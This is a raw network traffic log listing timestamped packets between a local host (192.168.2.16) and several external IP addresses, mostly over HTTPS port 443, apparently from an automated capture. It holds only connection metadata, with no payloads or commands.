Jan 8, 2025 15:44:39.301372051 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.301378965 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.301426888 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.301426888 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.301431894 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.302179098 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.302215099 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.302249908 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.302254915 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.302269936 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.302284002 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.302333117 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.302356958 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.302553892 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.302553892 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.306139946 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.306140900 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.306160927 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.306164026 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.306253910 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.306257963 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.306759119 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.306760073 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.306771994 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.306771994 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.352195024 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.352267027 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.352308989 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.352328062 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.352353096 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.352452040 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.352479935 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.355062008 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.355074883 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.359065056 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.407737970 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.423065901 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:44:39.452565908 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.452581882 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.460911036 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.460987091 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.461033106 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.461062908 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.461091995 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.461117983 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.461149931 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.461977005 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.462007046 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.462045908 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.462074041 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.462075949 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.462088108 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.462141991 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.462141991 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.462151051 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.473408937 CET	443	49767	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.473674059 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.473683119 CET	443	49767	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.474771976 CET	443	49767	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.474937916 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.475164890 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.475245953 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.475245953 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.475261927 CET	443	49767	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.475373030 CET	49767	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.475595951 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.475624084 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.475620985 CET	443	49766	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.475739956 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.476025105 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.476027012 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.476037025 CET	443	49766	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.476037025 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.477144957 CET	443	49766	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.477219105 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.477475882 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.477475882 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.477549076 CET	443	49766	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.477552891 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.477694988 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.477698088 CET	49766	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.477721930 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.478178024 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.478178024 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.478203058 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.486427069 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.488322973 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.488333941 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.489207029 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.489597082 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489597082 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489634037 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489634037 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489655018 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.489799023 CET	443	49768	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.489878893 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489895105 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.489921093 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489993095 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.489993095 CET	49768	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.490195036 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.490207911 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.499102116 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.515062094 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.515072107 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.521998882 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522206068 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522236109 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.522258043 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522284985 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.522423029 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522794962 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.522803068 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522820950 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522892952 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522923946 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.522929907 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.522953987 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.523001909 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523222923 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.523231030 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523531914 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.523577929 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523677111 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523705006 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.523716927 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523725033 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523732901 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.523824930 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523857117 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.523866892 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.523890018 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.524416924 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.524497986 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.524656057 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.524682045 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.524688959 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.524703026 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.524715900 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.524979115 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.524983883 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525418043 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525484085 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.525490046 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525500059 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525535107 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525566101 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.525566101 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.525576115 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525599003 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.525682926 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525711060 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.525717974 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.525742054 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.526384115 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.526451111 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.526458025 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.526504040 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.526536942 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.526540041 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.526552916 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.526568890 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.526810884 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.537612915 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.537811041 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.537914991 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.537939072 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.538058043 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.538067102 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.539019108 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.539141893 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.539171934 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.539371967 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.539372921 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.539449930 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.539761066 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.539762020 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.539827108 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.539835930 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.553086042 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.553407907 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.553419113 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.554510117 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.554845095 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.554845095 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.554918051 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.555025101 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.563075066 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.566483974 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.566739082 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.566761017 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.567811966 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.568186998 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.568186998 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.568258047 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.568367004 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.583328009 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.583342075 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.594218969 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.594221115 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.594228029 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.594235897 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.599320889 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.610229969 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.610232115 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.610230923 CET	49752	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.610235929 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.610240936 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.610261917 CET	443	49752	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.610781908 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.610868931 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.610898972 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.610909939 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.610937119 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.610989094 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.611017942 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.611047983 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.611056089 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.611082077 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.612580061 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.642260075 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.642261028 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.658246040 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.658260107 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.659370899 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.659485102 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.659601927 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.659637928 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.659722090 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.659748077 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.659751892 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.659761906 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.660542965 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.660562992 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.660573006 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.660950899 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.664134979 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.664191961 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.664233923 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.664258957 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.664264917 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.665085077 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.715404034 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.715472937 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.715509892 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.715543032 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.715565920 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.715575933 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.715610981 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.716257095 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.716294050 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.716320992 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.716329098 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.716367960 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.716393948 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.716406107 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.716666937 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.716955900 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717026949 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717067003 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717097998 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717396021 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.717411995 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717807055 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717840910 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717868090 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.717874050 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.717932940 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.718722105 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.718748093 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.718755960 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.718794107 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.718822002 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.718827963 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.719068050 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.719074965 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.720994949 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.721004009 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750307083 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750361919 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750418901 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750539064 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750572920 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750585079 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.750596046 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750621080 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.750638008 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750688076 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750713110 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.750718117 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750755072 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.750781059 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.750787020 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.752350092 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.757422924 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.760034084 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.761641026 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.761641979 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.761651993 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.761651993 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.762527943 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.762839079 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.762876987 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.762933016 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.762933969 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.762991905 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.763001919 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.763001919 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.763139963 CET	443	49775	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.763168097 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.763662100 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.763662100 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.763674974 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.763689995 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.763693094 CET	49775	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.763741970 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.763741970 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.763763905 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.763989925 CET	443	49774	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.764020920 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.764056921 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.764056921 CET	49774	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.764058113 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.764097929 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.764108896 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.764136076 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.767069101 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.767080069 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.770252943 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.774688005 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.774822950 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.774847984 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.774872065 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.774899006 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.774986029 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775027990 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775060892 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.775068045 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775093079 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.775338888 CET	443	49754	104.21.28.45	192.168.2.16
